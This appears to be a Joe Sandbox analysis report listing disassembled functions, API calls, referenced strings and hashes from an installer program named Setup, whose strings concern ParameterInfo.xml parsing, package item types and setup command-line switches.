String ID: <$ActionTable$ApplicableIf$Compressed$Compressed items need to have URL and CompressedDownloadSize authored.$CustomErrorHandling$IsPresent$MSIOptions$MSIRepairOptions$MSIUninstallOptions$ParameterInfo.xml$ProductCode$RepairOverride$UninstallOverride$schema validation failure: MSI, AgileMSI and AgileMSP do not support RepairOverride or UninstallOverride child elements!$schema validation failure: Product Code cannot be emoty.$schema validation failure: wrong number of MSI child nodes!
API String ID: 2489616738-1903366528
Opcode ID: fc8567d95ae43713faaa82ea763fdea8feeccebc721f7e16321c0cef9f4bebf4
Instruction ID: 09d07609f90c74e4324d5dd11093254bcff93e2c5918b438d5e5654f62a14bd0
Opcode Fuzzy Hash: fc8567d95ae43713faaa82ea763fdea8feeccebc721f7e16321c0cef9f4bebf4
Instruction Fuzzy Hash: C4426171604249EFDB14CFA8CA44ADE7BB9BF19318F144959F824EB780C734EA09CB61

Function 6C8E2582 Relevance: 32.0, APIs: 2, Strings: 16, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C8E2589

Part of subcall function 6C91C0AA: _malloc.LIBCMT ref: 6C91C0C4

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

__CxxThrowException@8.LIBCMT ref: 6C8E2AB0

Part of subcall function 6C91C0AA: std::exception::exception.LIBCMT ref: 6C91C0F9
Part of subcall function 6C91C0AA: std::exception::exception.LIBCMT ref: 6C91C113
Part of subcall function 6C91C0AA: __CxxThrowException@8.LIBCMT ref: 6C91C124

Strings

AgileMSI, xrefs: 6C8E2639
ParameterInfo.xml, xrefs: 6C8E2A21
", local path , xrefs: 6C8E2949
Adding Item type ", xrefs: 6C8E2938
MSI, xrefs: 6C8E25A8, 6C8E25D3
MSP, xrefs: 6C8E268C
RelatedProducts, xrefs: 6C8E2872
ServiceControl, xrefs: 6C8E27D4
Exe, xrefs: 6C8E26DE
Patches, xrefs: 6C8E272F
(not applicable), xrefs: 6C8E28C6
schema validation failure: unknown Item type - , xrefs: 6C8E2A31
CleanupBlock, xrefs: 6C8E2827
Unknown Item type ", xrefs: 6C8E29D3
". Valid types are MSI, MSP, Exe, Patches, ServiceControl and File. Theses are case sensitive., xrefs: 6C8E29E4
File, xrefs: 6C8E2781

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Exception@8H_prolog3Throwstd::exception::exception$_malloc
String ID: ", local path $". Valid types are MSI, MSP, Exe, Patches, ServiceControl and File. Theses are case sensitive.$(not applicable)$Adding Item type "$AgileMSI$CleanupBlock$Exe$File$MSI$MSP$ParameterInfo.xml$Patches$RelatedProducts$ServiceControl$Unknown Item type "$schema validation failure: unknown Item type -
API String ID: 3439882596-1328758535
Opcode ID: 10cbe1f0fd6babd481d23fa539f6c3efefd7c86ada9ab7b058b3ec0892b3f958
Instruction ID: 8e879fc51492ce6bb24c0ab691473a4c0eee75ad6a54020e985a11aa594b8dfa
Opcode Fuzzy Hash: 10cbe1f0fd6babd481d23fa539f6c3efefd7c86ada9ab7b058b3ec0892b3f958
Instruction Fuzzy Hash: 61029F7190521CEFCB25DBE8CE45AED7BB4AF1E308F104969E415E7B81CB34DA088B65

Function 63956199 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 639561A0

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 63951E75: __EH_prolog3.LIBCMT ref: 63951E7C
Part of subcall function 63951E75: GetThreadLocale.KERNEL32(?,00000004,63956734,0000004C,0000004C,63957142,?,00000000), ref: 63951E8E

PathIsRelativeW.SHLWAPI(?,?,?,0000003C,63967332,?,?,?,?,?,?,?,00000000,?,?,?), ref: 639561E9
PathFileExistsW.SHLWAPI(?), ref: 639561F6
PathFileExistsW.KERNELBASE(?,?), ref: 6395622B
PathFileExistsW.KERNELBASE(?), ref: 63956230
CoInitialize.OLE32(00000000), ref: 63956299
CoUninitialize.OLE32(?,?), ref: 63956340
__CxxThrowException@8.LIBCMT ref: 639563B7
__EH_prolog3.LIBCMT ref: 639563C9

Strings

Strings, xrefs: 639562DC
^wu, xrefs: 639561F6
UIInfo.xml, xrefs: 6395640C
Successfuly found file %s , xrefs: 6395626E
String for StringID ', xrefs: 6395641D
Strings.xml, xrefs: 639561C6
' was not found in UiInfo.xml, xrefs: 6395642B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3Path$ExistsFile$Exception@8InitializeLocaleRelativeThreadThrowUninitialize
String ID: ' was not found in UiInfo.xml$String for StringID '$Strings$Strings.xml$Successfuly found file %s $UIInfo.xml$^wu
API String ID: 1923347782-2025596970
Opcode ID: b5acee74e87d2ad749abed92e28a44c6d976e7c8eea16085ebe9bf5759dc2c04
Instruction ID: 489f726252fc79028830295c2996886c85020bcfedf992e91676eadc4bd2a038
Opcode Fuzzy Hash: b5acee74e87d2ad749abed92e28a44c6d976e7c8eea16085ebe9bf5759dc2c04
Instruction Fuzzy Hash: 79A17C71900209EFDB00DFA8C945BDEBBB8AF16B28F148155F524EB282DB30DA55CF61

Function 6C8C3E77 Relevance: 31.7, APIs: 1, Strings: 17, Instructions: 219
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C8C3E7E

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F9067: __EH_prolog3.LIBCMT ref: 6C8F906E
Part of subcall function 6C8F9067: __recalloc.LIBCMT ref: 6C8F90B0

Strings

parameterfolder, xrefs: 6C8C4123
lcid, xrefs: 6C8C3F37
CEIPconsent, xrefs: 6C8C3EBC
repair, xrefs: 6C8C40A8
passive, xrefs: 6C8C3FDB
uninstall, xrefs: 6C8C40FA
uninstallpatch, xrefs: 6C8C4175
showfinalerror, xrefs: 6C8C4004
msioptions, xrefs: 6C8C3F89
norestart, xrefs: 6C8C3FB2
log, xrefs: 6C8C3F60
chainingpackage, xrefs: 6C8C3EE5
serialdownload, xrefs: 6C8C40D1
NoSetupVersionCheck, xrefs: 6C8C414C
pipe, xrefs: 6C8C402D
createlayout, xrefs: 6C8C3F0E
promptrestart, xrefs: 6C8C4056

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$__recalloc
String ID: CEIPconsent$NoSetupVersionCheck$chainingpackage$createlayout$lcid$log$msioptions$norestart$parameterfolder$passive$pipe$promptrestart$repair$serialdownload$showfinalerror$uninstall$uninstallpatch
API String ID: 1900422986-634121796
Opcode ID: ecb891d93cccdf360072234201aecbdf1862bef95b919dc56faa38966e711f99
Instruction ID: e1b076e1a7c7f549d4ae0ae6cfb432cefdc88abae9fbacb6bfb6b0ca616acb51
Opcode Fuzzy Hash: ecb891d93cccdf360072234201aecbdf1862bef95b919dc56faa38966e711f99
Instruction Fuzzy Hash: E691093140428CBADB10DFB8CA44BCC77A9AF2136CF54C956A8349BB81D7B5D70DA725

Function 6C8D148D Relevance: 30.3, APIs: 3, Strings: 14, Instructions: 510
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Not, xrefs: 6C8D1610
LessThan, xrefs: 6C8D1665, 6C8D1691
Equals, xrefs: 6C8D1735, 6C8D1761
ParameterInfo.xml, xrefs: 6C8D1902, 6C8D1A2F
GreaterThanOrEqualTo, xrefs: 6C8D179D, 6C8D17C9
And, xrefs: 6C8D14EE, 6C8D151F
schema validation failure: , xrefs: 6C8D1A40
AlwaysTrue, xrefs: 6C8D18AB
schema validation failure: unknown Expression: , xrefs: 6C8D1913
Exists, xrefs: 6C8D186E
NeverTrue, xrefs: 6C8D18DC
GreaterThan, xrefs: 6C8D1805, 6C8D1831
can only have one logical or arithmietic expression for a child node, xrefs: 6C8D1A54
LessThanOrEqualTo, xrefs: 6C8D16CD, 6C8D16F9

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8FreeStringThrow_malloc
String ID: can only have one logical or arithmietic expression for a child node$AlwaysTrue$And$Equals$Exists$GreaterThan$GreaterThanOrEqualTo$LessThan$LessThanOrEqualTo$NeverTrue$Not$ParameterInfo.xml$schema validation failure: $schema validation failure: unknown Expression:
API String ID: 1924927865-100526994
Opcode ID: 80c734b8aeac705cb1cc88aea5394e0e20fec56164173d4f79f1ab6ffdcdfe37
Instruction ID: 0b97dcea306321295a48b0d413f71b41f4a446ed6ced9413316cb4795b5c71f2
Opcode Fuzzy Hash: 80c734b8aeac705cb1cc88aea5394e0e20fec56164173d4f79f1ab6ffdcdfe37
Instruction Fuzzy Hash: D502D0711083459FD720CFA8CA41B9EB7E8AF95328F110E2EF495D7B91DB30E9098762

Function 6395BCBB Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 111
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6395BCC2

Part of subcall function 63961DCD: __EH_prolog3.LIBCMT ref: 63961DD4
Part of subcall function 63961DCD: GetCommandLineW.KERNEL32(00000018,6395B178,00000000,?,?,6395AC46,?), ref: 63961DD9

SendMessageW.USER32(?,0000046B,00000000,00000000), ref: 6395BCDC
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 6395BCED
EnableMenuItem.USER32(00000000), ref: 6395BCF4
GetWindowLongW.USER32(?,000000F0), ref: 6395BD04
SetWindowLongW.USER32(?,000000F0,00000000), ref: 6395BD15
GetSystemMenu.USER32(?,00000000), ref: 6395BD21
InsertMenuW.USER32(?,00000000,00000400,0000F120,00000000), ref: 6395BD5F
InsertMenuW.USER32(?,00000002,00000400,0000F020,00000000), ref: 6395BDA5
InsertMenuW.USER32(?,00000003,00000400,0000F00F,00000000), ref: 6395BDC3
SetMenuItemBitmaps.USER32(?,0000F120,00000000,00000002,00000002), ref: 6395BDD9
SetMenuItemBitmaps.USER32(?,0000F020,00000000,00000003,00000003), ref: 6395BDE5
KiUserCallbackDispatcher.NTDLL(?), ref: 6395BDEA
SetWindowLongW.USER32(?,000000FC,6395BF84), ref: 6395BE0C
SetWindowLongW.USER32(?,000000EB,00000000), ref: 6395BE1A

Strings

IDS_MINIMIZE, xrefs: 6395BD74
IDS_RESTORE, xrefs: 6395BD2E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Menu$LongWindow$InsertItem$BitmapsH_prolog3System$CallbackCommandDispatcherEnableLineMessageSendUser
String ID: IDS_MINIMIZE$IDS_RESTORE
API String ID: 435486374-4171729070
Opcode ID: 2693376ae382075a543852cbf3864145624eae6fd827daee303f2272d83fbd8f
Instruction ID: e94a4b7395d0bc039dbd123767c9781507e87ea42e6b2080b0f8cf7473295e1b
Opcode Fuzzy Hash: 2693376ae382075a543852cbf3864145624eae6fd827daee303f2272d83fbd8f
Instruction Fuzzy Hash: 4341A03054430AAFDF20ABA4CC49FAE7BB5FF8AB14F104614F265AA1E1C771A950DF14

Function 6C909D05 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C8C39AD: __EH_prolog3.LIBCMT ref: 6C8C39B4

GetCommandLineW.KERNEL32(38D98A99,?,00000000,ParameterInfo.xml,?,?,?,00000000,?,?,?,?,ParameterInfo.xml,?,00000000,?), ref: 6C909D54

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

Part of subcall function 6C8C3A16: __EH_prolog3.LIBCMT ref: 6C8C3A1D

__CxxThrowException@8.LIBCMT ref: 6C909EBD

Strings

lower, xrefs: 6C909FFA
ParameterInfo.xml, xrefs: 6C909E2E, 6C909F67, 6C90A096
SetupVersion specified in ParameterInfo.xml is , xrefs: 6C90A029
Current SetupVersion = %s, xrefs: 6C909D43
SetupVersion not specified, xrefs: 6C909E1F
SetupVersion specified in ParameterInfo.xml has a minor version lower than the currently supported version., xrefs: 6C909F44
SetupVersion, xrefs: 6C909DC0
Command line switch 'NoSetupVersionCheck' found - so not performing SetupVersion check., xrefs: 6C909D95
SetupVersion specified in ParameterInfo.xml has a minor version greater than the currently supported version., xrefs: 6C909F58
NoSetupVersionCheck, xrefs: 6C909D6C
higher, xrefs: 6C90A001, 6C90A017
SetupVersion specified in ParameterInfo.xml is '%s', xrefs: 6C909EC3
than the currently supported version., xrefs: 6C90A006
1.0, xrefs: 6C909D3D, 6C909D42, 6C909ED4, 6C909EFB

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CommandException@8LineThrow
String ID: than the currently supported version.$1.0$Command line switch 'NoSetupVersionCheck' found - so not performing SetupVersion check.$Current SetupVersion = %s$NoSetupVersionCheck$ParameterInfo.xml$SetupVersion$SetupVersion not specified$SetupVersion specified in ParameterInfo.xml has a minor version greater than the currently supported version.$SetupVersion specified in ParameterInfo.xml has a minor version lower than the currently supported version.$SetupVersion specified in ParameterInfo.xml is $SetupVersion specified in ParameterInfo.xml is '%s'$higher$lower
API String ID: 1129948358-1674238012
Opcode ID: 1758c59053ecd3c89630461dc84e563cefc9964da68f499504cadaf8629a32e3
Instruction ID: 444c05105f0293ee1a0be0dc5563b45430d7e80b3c5200c57388a6c2eb635091
Opcode Fuzzy Hash: 1758c59053ecd3c89630461dc84e563cefc9964da68f499504cadaf8629a32e3
Instruction Fuzzy Hash: D8C16C721087409FD324DB78C940A9FBBE8AF96318F140E2DF1A597B91DB74D9098B53

Function 6C8D293D Relevance: 26.7, APIs: 2, Strings: 13, Instructions: 416
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C8D2944

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8D2677: __EH_prolog3.LIBCMT ref: 6C8D267E

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Part of subcall function 6C8CA378: __EH_prolog3.LIBCMT ref: 6C8CA37F

__CxxThrowException@8.LIBCMT ref: 6C8D2C00

Part of subcall function 6C9214AA: KiUserExceptionDispatcher.NTDLL(?,?,6C91C129,00000C00,?,?,?,?,6C91C129,00000C00,6C93BA3C,6C9576D4,00000C00,00000020,6C8FF845,?), ref: 6C9214EC

Strings

schema validation failure: More than 1 Warning Block defined., xrefs: 6C8D2D6F
ParameterInfo.xml, xrefs: 6C8D2BAC, 6C8D2C1E, 6C8D2C89, 6C8D2CDA, 6C8D2D29, 6C8D2D7D, 6C8D2DCC
schema validation failure: Warn blockers has no child node, xrefs: 6C8D2DBE
schema validation failure: no valid child element found for 'Blockers' node., xrefs: 6C8D2B9E
schema validation failure: Success blockers has no child node, xrefs: 6C8D2C7B
schema validation failure: Stop blockers has no child node, xrefs: 6C8D2D1B
8, xrefs: 6C8D2DFC
StopBlockers, xrefs: 6C8D29C5, 6C8D29CA, 6C8D29E1, 6C8D2B38
schema validation failure: More than 1 Success Block defined., xrefs: 6C8D2C10
WarnBlockers, xrefs: 6C8D2A43, 6C8D2A48, 6C8D2A5F, 6C8D2B64
schema validation failure: More than 1 Stop Block defined., xrefs: 6C8D2CCC
Blockers, xrefs: 6C8D2ACA
SuccessBlockers, xrefs: 6C8D294B, 6C8D2950, 6C8D2967, 6C8D2B10

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$DispatcherExceptionException@8ThrowUser
String ID: 8$Blockers$ParameterInfo.xml$StopBlockers$SuccessBlockers$WarnBlockers$schema validation failure: More than 1 Stop Block defined.$schema validation failure: More than 1 Success Block defined.$schema validation failure: More than 1 Warning Block defined.$schema validation failure: Stop blockers has no child node$schema validation failure: Success blockers has no child node$schema validation failure: Warn blockers has no child node$schema validation failure: no valid child element found for 'Blockers' node.
API String ID: 3417717588-4180151753
Opcode ID: 80ce3f2ed12775cc7227ec3c0cd66cf3a48587dbd2bf08d4461e7875b4009b32
Instruction ID: c5a4f33310408b3de0ac63921b0b3a560fb16a9b953d70f34a9ad9f98e04eff1
Opcode Fuzzy Hash: 80ce3f2ed12775cc7227ec3c0cd66cf3a48587dbd2bf08d4461e7875b4009b32
Instruction Fuzzy Hash: 9AF1A171904249EBCF24DBECCA44ADE7BB8AF15318F148969F024D7B81DB74DA09CB61

Function 6C5D2C9B Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 295
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000004,6C5D27B0,00000000,6C5F0088), ref: 6C5D2D01
VirtualAlloc.KERNEL32(?,00000000,00001000,00000004,000003F8,00000000,?,?,?,?,6C5D27B0,00000000,6C5F0088), ref: 6C5D2D4F

Strings

Local\SqmData_%s, xrefs: 6C5D3B42

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AllocVirtual
String ID: Local\SqmData_%s
API String ID: 4275171209-1264235261
Opcode ID: 525d109ef3d091c74afc41b4a65041a618fc9314acc00919b56478ae9f602fc1
Instruction ID: 69263dc961d40c0c39ffd41d7a682219c029fdc0d18abce755b8ca40b70fe693
Opcode Fuzzy Hash: 525d109ef3d091c74afc41b4a65041a618fc9314acc00919b56478ae9f602fc1
Instruction Fuzzy Hash: 10B1A1706003409FDB548F25CC84F5737F5BB49348F2584A9E56ADBAA2DB71E889CF48

Function 6395671F Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 196windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63956726

Part of subcall function 63951E75: __EH_prolog3.LIBCMT ref: 63951E7C
Part of subcall function 63951E75: GetThreadLocale.KERNEL32(?,00000004,63956734,0000004C,0000004C,63957142,?,00000000), ref: 63951E8E

PathIsRelativeW.SHLWAPI(?,0000004C,0000004C,63957142,?,00000000), ref: 63956745
PathFileExistsW.SHLWAPI(?), ref: 63956751
PathFileExistsW.KERNELBASE(?,?,?), ref: 63956790
PathFileExistsW.KERNELBASE(?), ref: 63956795
__CxxThrowException@8.LIBCMT ref: 639568B8
SendMessageW.USER32(?,00000449), ref: 639568F2
CloseHandle.KERNELBASE(63978364), ref: 63956908
CloseHandle.KERNEL32(63978364,?,00000000), ref: 6395691E

Strings

^wu, xrefs: 63956751
can't open EULA file: , xrefs: 63956836
Successfuly found file %s , xrefs: 639567D1
ParameterInfo.xml, xrefs: 63956829

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Path$ExistsFile$CloseH_prolog3Handle$Exception@8LocaleMessageRelativeSendThreadThrow
String ID: ParameterInfo.xml$Successfuly found file %s $can't open EULA file: $^wu
API String ID: 4048475142-837317394
Opcode ID: 41ff3a7ab8cc61a9335f8d1c6367d4c7ce28462c3b6514e1e67f05ba15ae9ff7
Instruction ID: 1649de9f290213803487d42dc80e119321e5b6e4a83adf2e20ab18c888fda467
Opcode Fuzzy Hash: 41ff3a7ab8cc61a9335f8d1c6367d4c7ce28462c3b6514e1e67f05ba15ae9ff7
Instruction Fuzzy Hash: C6714A72900208EFDF00DFA8C980ADEBBB8AF5AB28F148155F510BB291D734DA55CF61

Function 63955163 Relevance: 22.0, APIs: 1, Strings: 11, Instructions: 1046COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395516A

Part of subcall function 6395396A: __EH_prolog3.LIBCMT ref: 63953971

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D7DD: __EH_prolog3.LIBCMT ref: 6394D7E4
Part of subcall function 6394D7DD: SysFreeString.OLEAUT32(00000000), ref: 6394D83A

Part of subcall function 639525B2: __EH_prolog3.LIBCMT ref: 639525B9

Part of subcall function 63953AD4: __EH_prolog3.LIBCMT ref: 63953ADB

Part of subcall function 6395507E: __EH_prolog3.LIBCMT ref: 63955085

Strings

Success, xrefs: 6395524E
Uninstall, xrefs: 63955477, 63955756, 63955A35
NothingApplies, xrefs: 639552FD, 63955919
SysLink, xrefs: 639551EC
Failure, xrefs: 639552A7, 6395563A
~, xrefs: 639559B3
CreateLayout, xrefs: 63955509, 639557E8, 63955AC7
UninstallPatch, xrefs: 6395559B, 6395587A, 63955B59
Repair, xrefs: 639553E5, 639556C4, 639559A3
Install, xrefs: 63955353, 6395562D, 6395590C
Static, xrefs: 63955183

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$FreeString
String ID: CreateLayout$Failure$Install$NothingApplies$Repair$Static$Success$SysLink$Uninstall$UninstallPatch$~
API String ID: 2872891630-930184743
Opcode ID: 1db3b8c202ed956418cfd7b24a5ebcbdab09132e84faa51a2cd3273157b8a2d8
Instruction ID: 015641a0f6741aaa971182778fa8041b82b8dd372ed4968b8d67ba330c62d05a
Opcode Fuzzy Hash: 1db3b8c202ed956418cfd7b24a5ebcbdab09132e84faa51a2cd3273157b8a2d8
Instruction Fuzzy Hash: 49927D7180024DEFDB05DBF8C944EDEBBB8AF19728F144189F165A7282DB30DA49DB61

Function 6C8CBB3C Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 260COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8CBB43

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

__CxxThrowException@8.LIBCMT ref: 6C8CBDEB

Strings

BlockingMutex, xrefs: 6C8CBC9D
ParameterInfo.xml, xrefs: 6C8CBD6A
DownloadInstallSetting, xrefs: 6C8CBC4B
UserExperienceDataCollection, xrefs: 6C8CBBF8
Using Serial Download and Install mechanism, xrefs: 6C8CBDFA
Using Simultaneous Download and Install mechanism, xrefs: 6C8CBE01
DisabledCommandLineSwitches, xrefs: 6C8CBB52
FilesInUseSetting, xrefs: 6C8CBCEF
schema validation failure: there must be a valid child element for Configuration., xrefs: 6C8CBD5C
AdditionalCommandLineSwitches, xrefs: 6C8CBBA6

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
